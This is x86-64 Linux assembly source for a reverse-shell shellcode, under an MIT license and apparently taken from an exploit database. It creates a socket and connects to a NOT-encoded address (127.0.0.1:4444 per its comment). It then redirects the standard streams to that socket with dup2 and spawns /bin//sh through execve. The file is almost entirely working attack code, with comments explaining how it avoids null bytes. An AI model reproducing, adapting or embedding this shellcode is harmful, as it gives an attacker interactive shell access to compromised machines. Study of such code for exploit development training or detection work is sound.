;The MIT License (MIT) ;Copyright (c) 2017 Robert L. Taylor ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files (the “Software”), ;to deal in the Software without restriction, including without limitation ;the rights to use, copy, modify, merge, publish, distribute, sublicense, ;and/or sell copies of the Software, and to permit persons to whom the ;Software is furnished to do so, subject to the following conditions: ;The above copyright notice and this permission notice shall be included ;in all copies or substantial portions of the Software. ;The Software is provided “as is”, without warranty of any kind, express or ;implied, including but not limited to the warranties of merchantability, ;fitness for a particular purpose and noninfringement. In no event shall the ;authors or copyright holders be liable for any claim, damages or other ;liability, whether in an action of contract, tort or otherwise, arising ;from, out of or in connection with the software or the use or other ;dealings in the Software. ; ; For a detailed explanation of this shellcode see my blog post: ; http://a41l4.blogspot.ca/2017/02/assignment-2b.html global _start section .text _start: ; Socket push 41 pop rax push 2 pop rdi push 1 pop rsi cdq syscall ; Connect xchg edi, eax push rdx mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002 not rbx push rbx mov al, 42 push rsp pop rsi mov dl, 16 syscall ; Dup 2 push 3 pop rsi dup2loop: mov al, 33 dec esi syscall loopnz dup2loop ; Execve ; rax and rsi are zero from the result of the last dup2 syscall and loop push rax ; zero terminator for the following string that we are pushing mov rbx, '/bin//sh' push rbx ; store /bin//sh address in RDI push rsp pop rdi cdq ; zero rdx mov al, 59 syscall # Iranian Exploit DataBase = http://IeDb.Ir [2017-02-19]